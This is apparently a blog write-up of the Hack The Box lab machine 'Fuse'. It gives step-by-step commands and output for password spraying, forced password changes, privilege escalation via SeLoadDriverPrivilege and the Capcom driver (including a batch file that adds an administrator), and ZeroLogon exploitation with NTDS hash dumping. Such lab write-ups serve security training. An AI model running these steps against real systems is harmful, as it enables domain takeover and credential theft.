Fuse is based on Printers in corporate environment making it quite realistic machine, We’ll complete it using both Intended and Unintended method. We start off with web enumeration of a printer page, collecting potential usernames from several print job logs the use cewl to create a password wordlist. Using this data we initiate a Password Spray attack where we discover users with expired password then change the password of a account, use it to access rpcclient where we discover a password inside printer description. Using this password we get WinRM access of a printer service account with SeLoadDriverPrivilege enabled which allows the user to load kernel drivers. For abusing this privilege we’ll make use of infamous Capcom driver to load a payload which creates a local administrator account and access it via WinRM. In Unintended method we’ll exploit ZeroLogon (CVE-2020-1472) to dump Admin NT hash.
Reconnaissance
masscan
Starting with masscan
for a full TCP & UDP port scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cfx: ~/Documents/htb/fuse
→ masscan -e tun0 -p1-65535,U:1-65535 --rate 500 10.10.10.193 | tee masscan.allports
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-11-01 07:48:28 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 3268/tcp on 10.10.10.193
Discovered open port 5985/tcp on 10.10.10.193
Discovered open port 135/tcp on 10.10.10.193
Discovered open port 49667/tcp on 10.10.10.193
Discovered open port 49679/tcp on 10.10.10.193
Discovered open port 49676/tcp on 10.10.10.193
Discovered open port 53/tcp on 10.10.10.193
Discovered open port 9389/tcp on 10.10.10.193
Discovered open port 80/tcp on 10.10.10.193
Discovered open port 464/tcp on 10.10.10.193
Discovered open port 49753/tcp on 10.10.10.193
Discovered open port 88/tcp on 10.10.10.193
Discovered open port 445/tcp on 10.10.10.193
Discovered open port 49675/tcp on 10.10.10.193
Discovered open port 636/tcp on 10.10.10.193
Discovered open port 49666/tcp on 10.10.10.193
Discovered open port 3269/tcp on 10.10.10.193
Discovered open port 49695/tcp on 10.10.10.193
Discovered open port 593/tcp on 10.10.10.193
Discovered open port 53/udp on 10.10.10.193
Discovered open port 139/tcp on 10.10.10.193
Discovered open port 389/tcp on 10.10.10.193
masscan discovered twenty one ports, let’s format them using awk
and sed
for nmap:
1
2
3
cfx: ~/Documents/htb/fuse
→ cat masscan.allports | sed s/'Discovered open port //' | awk -F/ '{print $1}' | awk '!seen[$0]++' ORS=','
3268,5985,135,49667,49679,49676,53,9389,80,464,49753,88,445,49675,636,49666,3269,49695,593,139,389,
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
cfx: ~/Documents/htb/fuse
→ nmap -sC -sV -p3268,5985,135,49667,49679,49676,53,9389,80,464,49753,88,445,49675,636,49666,3269,49695,593,139,389 10.10.10.193
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 13:40 IST
Nmap scan report for 10.10.10.193
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-11-01 08:25:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49753/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h34m20s, deviation: 4h02m31s, median: 14m18s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Fuse
| NetBIOS computer name: FUSE\x00
| Domain name: fabricorp.local
| Forest name: fabricorp.local
| FQDN: Fuse.fabricorp.local
|_ System time: 2020-11-01T01:26:18-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-11-01T08:26:17
|_ start_date: 2020-11-01T07:07:26
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.13 seconds
Ton’s of open ports & services, looks like we have a domain controller in play.
Port Scanning Summary:
- Port 53: DNS
- Port 80: HTTP Service on Microsoft-IIS/10.0
- Port 88: kerberos-sec - Active Directory authentication protocol
- Port 135,593: - Windows RPC & RPC over HTTP 1.0
- Port 445: SMB
- Port 389,3268,3269: LDAP & LDAP GC
- Port 636: LDAPS
- Port 464: kpasswd5 (Kerberos Change/Set password )
- Port 9389: .NET Remoting Services
- Port 5985: WinRM
- Port 49666,49667,49675,49676,49679,49695,49754 - Other Windows RPC ports
Important Notes from Nmap results:
- Netbios name: FUSE
- Domain name: fabricorp.local
- OS: Windows Server 2016 Standard 14393
Port 445 : SMB
Although we got the Domain and OS details from nmap results, but it’s always good to try different tools to confirm the results and what’s better than CrackMapExec :
CrackMapExec
We can confirm the results are matching:
1
2
3
cfx: ~/Documents/htb/fuse
→ cme smb 10.10.10.193
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB Enumeration
crackmapexec
confirms null session is not allowed:
1
2
3
4
cfx: ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u '' -p ''
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\: STATUS_ACCESS_DENIED
Port 135 : RPC
RPC Enumeration
Using null session we can connect to rpcclient
but unfortunately it’s of no use as we are not authorized to access anything:
1
2
3
4
5
cfx: ~/Documents/htb/fuse
→ rpcclient 10.10.10.193 -U ''
Enter WORKGROUP\'s password:
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
Port 80 - HTTP Service
fuse.fabricorp.local
Visiting http://10.10.10.193 we get redirected to http://fuse.fabricorp.local/papercut/logs/html/index.htm
1
2
3
cfx: ~/Documents/htb/fuse
→ curl http://10.10.10.193
<meta http-equiv="refresh" content="0; url=http://fuse.fabricorp.local/papercut/logs/html/index.htm" />
Let’s add the Domain and Subdomain to /etc/hosts
1
2
3
cfx: ~/Documents/htb/fuse
→ cat /etc/hosts | grep fabricorp
10.10.10.193 fabricorp.local fuse.fabricorp.local
Looking at the site, It appears the host is running Paper Cut Print logger application.
PaperCut Print Logger is a free print logging application for Windows systems designed to provider real-time activity tracking and listing of all printer use. The print log contains; time of print, the name of the user who printed, the total number of pages, document names and titles, other job attributes such as paper size, color mode. Print logs are available in a viewer friendly HTML format, or in CSV or Excel format for advanced users needing the data for further analysis.
Going through each of the Print logs, we can gather potential usernames :
1
2
3
4
5
6
7
cfx: ~/Documents/htb/fuse
→ cat users.txt
pmerton
tlavel
sthompson
bhult
administrator
Credential Hunting
Since, We didn’t obtain anything useful out of SMB and RPC enumeration, we don’t have much options to go ahead. But we do have potential list of usernames on the machine via Print logs, that gives us an option to try password spraying.
Password Spraying
We’ll make a wordlist using cewl
along with --with-numbers
flag which helps for creating wordlist contains numbers and try to spray it against SMB, maybe we’ll get lucky:
Wordlist
1
2
cfx: ~/Documents/htb/fuse
→ cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > dict.txt
After removing cewl banner from the list we have 169 words in our wordlist:
1
2
3
cfx: ~/Documents/htb/fuse
→ wc -l dict.txt
169 dict.txt
Brute force
We’ll use crackmapexec to brute force, I’ll also include --continue-on-success
flag which will keep running the brute force even after a successful login.
Since, we get multiple failed attempt results as well, We will use grep
to exclude anything with FAILURE
in the result:
1
2
3
4
5
cfx: ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u users.txt -p dict.txt --continue-on-success | grep -v FAILURE
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
Interesting as we got Two users with STATUS_PASSWORD_MUST_CHANGE
, both having same password. It seems each user was assigned default password and later had to change it.
Password Changing
We’ll target use bhult
, For changing the password we can use smbpasswd
tool, It seems even after we reset the password, the box reverts it to default password every minute (I guess!). So we need to be bit quick :
There is some password criteria as well and if it doesn’t meet, we get the following error:
1
2
3
4
5
6
cfx: ~/Documents/htb/fuse
→ smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : When trying to update a password, this status indicates that some password update rule has been violated. For example, the password might not meet length criteria..
So I’ll change the password to ColdFusi0nX
as it meets most the usual password criteria’s.
1
2
3
4
5
6
cfx: ~/Documents/htb/fuse
→ smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user bhult on 10.10.10.193.
Shell as svc-print
SMB - bhult
Using new creds we are able to list SMB shares.
As user bhult
we have READ permission on print$
share, I tried connecting to it but didn’t find anything interesting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cfx: ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u bhult -p 'ColdFusi0nX' --shares
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\bhult:ColdFusi0nX
SMB 10.10.10.193 445 FUSE [+] Enumerated shares
SMB 10.10.10.193 445 FUSE Share Permissions Remark
SMB 10.10.10.193 445 FUSE ----- ----------- ------
SMB 10.10.10.193 445 FUSE ADMIN$ Remote Admin
SMB 10.10.10.193 445 FUSE C$ Default share
SMB 10.10.10.193 445 FUSE HP-MFT01 HP-MFT01
SMB 10.10.10.193 445 FUSE IPC$ Remote IPC
SMB 10.10.10.193 445 FUSE NETLOGON READ Logon server share
SMB 10.10.10.193 445 FUSE print$ READ Printer Drivers
SMB 10.10.10.193 445 FUSE SYSVOL READ Logon server share
RPC - bhult
Next, we will hop on to RPC :
1
2
3
4
cfx: ~/Documents/htb/fuse
→ rpcclient -U bhult 10.10.10.193
Enter WORKGROUP\bhult's password:
rpcclient $>
Let’s check the users on the box using enumdomusers
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
Seems there are more users than we observed in print logs.
Also, Because of what we have seen so far, box has something to do with Printer. So let’s enumerate printers using enumprinters
:
1
2
3
4
5
rpcclient $> enumprinters
flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]
It appears we got a password $fab@s3Rv1ce$1
Username Hunt
Let’s test this password against others users we got from RPC, I’ll copy the output of rpc, extract usernames and save it inside a new file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cfx: ~/Documents/htb/fuse
→ cat users_rpc.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
cfx: ~/Documents/htb/fuse
→ cat users_rpc.txt | awk -F] '{print $1}' | awk -F[ '{print $2}'
Administrator
Guest
krbtgt
DefaultAccount
svc-print
bnielson
sthompson
tlavel
pmerton
svc-scan
bhult
dandrews
mberbatov
astein
dmuir
cfx: ~/Documents/htb/fuse
→ cat users_rpc.txt | awk -F] '{print $1}' | awk -F[ '{print $2}' > rpc_users.txt
Now let’s run crackmapexec:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cfx: ~/Documents/htb/fuse
→ cme smb 10.10.10.193 -u rpc_users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\Guest:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\krbtgt:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\DefaultAccount:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bnielson:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\sthompson:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\tlavel:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\pmerton:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-scan:$fab@s3Rv1ce$1
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\bhult:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\dandrews:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\mberbatov:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\astein:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\dmuir:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
Great ! So we have two users using this password. Rather than jumping to enumerating SMB shares of these users let’s check if any of the user is allowed to connect remotely using WinRM
Again using crackmapexec we can check it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cfx: ~/Documents/htb/fuse
→ cme winrm 10.10.10.193 -u rpc_users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
WINRM 10.10.10.193 5985 FUSE [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM 10.10.10.193 5985 FUSE [*] http://10.10.10.193:5985/wsman
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\Guest:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\krbtgt:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\DefaultAccount:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\bnielson:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\sthompson:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\tlavel:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\pmerton:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\svc-scan:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\bhult:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\dandrews:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\mberbatov:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\astein:$fab@s3Rv1ce$1
WINRM 10.10.10.193 5985 FUSE [-] fabricorp.local\dmuir:$fab@s3Rv1ce$1
WinRM Shell
We can get a WinRM shell using Evil-WinRM with svc-print:$fab@s3Rv1ce$1
:
1
2
3
4
5
6
7
8
9
cfx: ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami
fabricorp\svc-print
user.txt
1
2
3
*Evil-WinRM* PS C:\Users\svc-print\Desktop> get-content user.txt
dc9ab9df5c97cdd*****************
Elevating Priv: svc-print -> Administrator
Going through the privileges, we can see SeLoadDriverPrivilege
is enabled, which is quite interesting:
1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\Users\svc-print\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
It appears SeLoadDriverPrivilege
is enabled because the user svc-print
is a member of Print Operators
and is quite dangerous as it allows user to load kernel drivers leading to code execution with SYSTEM privileges.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\svc-print\Desktop> net user svc-print
User name svc-print
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/30/2020 4:27:08 PM
Password expires Never
Password changeable 5/31/2020 4:27:08 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/1/2020 2:34:00 AM
Logon hours allowed All
Local Group Memberships *Print Operators
Global Group memberships *Domain Users *IT_Accounts
The command completed successfully.
Attack Scenario
A quick Google search on SeLoadDriverPrivilege
leads us to this blog post from Tarlogic which explains quite neatly on how to abuse this Privilege.
Compile the driver loader tool available here : https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
Load the Vulnerable Capcom Signed driver from FuzzySecurity available here : https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/Capcom/Capcom.sys
Modify & Compile Capcom Exploit with which exploits vulnerable
capcom.sys
: https://github.com/tandasat/ExploitCapcom
We’ll compile all the files inside a Windows VM using Visual Studio Community.
Step 1: Load Driver
For loading capcom.sys
we’ll need driver loader tool, code is available here we just need to compile it as it is without any modifications.
First, We need to install Visual Studio with Desktop Development for C++
option, once installed we’ll create a new project in Visual Studio selecting C++ Console App:
On next windows, We’ll name it as LoadDriverPriv
:
Now We’ll have a sample Hello World code inside the project which we need to replace with driver code and save it, We’ll see a error regarding include "stdafx.h"
but we can just remove the line and move ahead.
By default the project build would be set to debug
we’ll set it to Release and x64
:
Then select Build -> Build Solution, on successful build we should see the following output:
Successfully compiled! We’ll copy the generated LoadDriverPriv.exe
to our kali machine.
Step 2: Capcom.sys driver
We’ll just download Vulnerable Capcom Signed driver available here : https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/Capcom/Capcom.sys and save it our kali machine.
Step 3: ExploitCapcom
We’ll start by downloading this project from tandasat which is a standalone exploit to exploit vulnerable Capcom.sys. This is actually Full Visual studio project, we’ll clone the repo on our machine.
Inside ExploitCapcom folder, there a ExploitCapcom.sln
which is a visual studio solution file. To open the .sln
file from Visual studio itself we select File -> Open -> Project/Solution, Or we can just double click the ExploitCapcom.sln
which should also open the project.
Modify Code
Going through the exploit, We understand Default code is set to pop up cmd.exe
with elevated system privileges, but that’s not possible for us since we are not running a interactive session.
Instead we’ll change the CommandLine
string to load cfx.bat
a batch file located at C:\Priv\cfx.bat
Now after changing the code, select the dropdown to Release and x64, then select Build -> Build Solution. Once completed We need to copy the ExploitCapcom.exe
to our kali machine.
Generate Payload
We need to create cfx.bat
and Whichever commands we input inside cfx.bat
it will run as SYSTEM.
So, Instead of getting a reverse shell as SYSTEM, Inside cfx.bat
We’ll input commands to create a new user with credentials coldfusion:ColdFusi0nX
and also add this user to Administrators Local group.
cfx.bat
1
2
3
4
5
cfx: ~/Documents/htb/fuse
→ cat cfx.bat
C:\Windows\System32\net.exe users coldfusion ColdFusi0nX /add
C:\Windows\System32\net.exe localgroup administrators coldfusion /add
Now that we have all the files ready, we can proceed with the exploitation. You can also find the files on my repo
Exploitation
First, we will create a Directory Priv
inside C:\
and upload LoadDriverPriv.exe, Capcom.sys, ExploitCapcom.exe & cfx.bat into it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
*Evil-WinRM* PS C:\> mkdir Priv
*Evil-WinRM* PS C:\> cd Priv
*Evil-WinRM* PS C:\Priv> upload LoadDriverPriv.exe
Info: Uploading LoadDriverPriv.exe to C:\Priv\LoadDriverPriv.exe
Data: 20480 bytes of 20480 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Priv> upload Capcom.sys
Info: Uploading Capcom.sys to C:\Priv\Capcom.sys
Data: 14100 bytes of 14100 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Priv> upload ExploitCapcom.exe
Info: Uploading ExploitCapcom.exe to C:\Priv\ExploitCapcom.exe
Data: 363176 bytes of 363176 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Priv> upload cfx.bat
Info: Uploading cfx.bat to C:\Priv\cfx.bat
Data: 176 bytes of 176 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Priv> ls
Directory: C:\Priv
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/1/2020 10:31 AM 10576 Capcom.sys
-a---- 11/1/2020 10:32 AM 132 cfx.bat
-a---- 11/1/2020 10:32 AM 272384 ExploitCapcom.exe
-a---- 11/1/2020 10:30 AM 15360 LoadDriverPriv.exe
Now we will first load the Capcom.sys
driver using LoadDriverPriv.exe
as explained in the blog:
1
2
3
4
5
*Evil-WinRM* PS C:\Priv> .\LoadDriverPriv.exe System\CurrentControlSet\cfxservice C:\Priv\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\cfxservice
NTSTATUS: 00000000, WinError: 0
Great! It’s loaded without error.
Now we just need to execute ExploitCapcom.exe
1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Priv> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000080
[*] Shellcode was placed at 000001E807BA0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
Exploit ran without any issues, we can now check and confirm that our user was created successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Priv> net user coldfusion
User name coldfusion
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/2/2020 10:38:01 AM
Password expires 12/14/2020 10:38:01 AM
Password changeable 11/3/2020 10:38:01 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users
The command completed successfully.
Local Administrator - coldfusion
Now that our user was successfully created, We can get a shell using coldfusion:ColdFusi0nX
:
1
2
3
4
5
6
7
8
9
cfx: ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u coldfusion -p ColdFusi0nX
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\coldfusion\Documents> whoami
fabricorp\coldfusion
Since we are a member of Local Administrators group, we are authorized to read root.txt
from Administrator’s Desktop:
1
2
3
4
*Evil-WinRM* PS C:\Users\coldfusion\Documents> cd ../../Administrator/Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
562d41d17cbbea2*****************
Administrator Shell
We can also set Administrator’s password as ColdFus1onx
:
1
2
*Evil-WinRM* PS C:\Users\coldfusion\Documents> net users administrator ColdFus1onx
The command completed successfully
Now let’s get a new shell as Administrator:
1
2
3
4
5
6
7
8
9
10
11
12
cfx: ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u administrator -p 'ColdFus1onx'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fabricorp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
562d41d17cbbea2*****************
Unintented Method
Exploiting ZeroLogon (CVE-2020-1472)
I am not fond of this method as it totally eliminates all the hard work & efforts, directly leading you to Admin shell.
Even though it’s not that fun, But the Fact that this was an old Windows Machine released prior to ZeroLogon it is likely to be Vulnerable.
Zerologon is the name that has been given to a vulnerability identified in CVE-2020-1472. It’s called zerologon due to the flaw in the logon process where the initialization vector (IV) is set to all zeros all the time while an Initialization Vector (IV) should always be a random number. Allows to instantly become domain admin by subverting Netlogon cryptography.
We’ll exploit it with reference to this PoC:
1
2
3
4
5
6
7
8
9
cfx: /opt/CVE-2020-1472 |master ✓|
→ python3 cve-2020-1472-exploit.py FUSE 10.10.10.193
Performing authentication attempts...
===============================================================================================
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
Now that the exploit has completed successfully, Let’s use Impacket’s secretsdump.py
to extract NTDS.DIT data (NTLM hashes and Kerberos keys)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cfx: /opt/CVE-2020-1472 |master ✓|
→ secretsdump.py -no-pass -just-dc fabricorp.local/FUSE\$@10.10.10.193
Impacket v0.9.22.dev1+20201015.130615.81eec85a - Copyright 2020 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:370ddcf45959b2293427baa70376e14e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8ee7fac1bd38751dbff06b33616b87b0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc-print:1104:aad3b435b51404eeaad3b435b51404ee:38485fd7730cca53473d0fa6ed27aa71:::
bnielson:1105:aad3b435b51404eeaad3b435b51404ee:8873f0c964ab36700983049e2edd0f77:::
sthompson:1601:aad3b435b51404eeaad3b435b51404ee:5fb3cc8b2f45791e200d740725fdf8fd:::
[..SNIP..]
Admin Shell
Using Administrator NT hash, we can get a shell:
1
2
3
4
5
6
7
8
9
10
11
cfx: ~/Documents/htb/fuse
→ evil-winrm -i 10.10.10.193 -u Administrator -H '370ddcf45959b2293427baa70376e14e'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fabricorp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
562d41d17cbbea2*****************
And we pwned the Box !
Thanks for reading, Suggestions & Feedback are appreciated !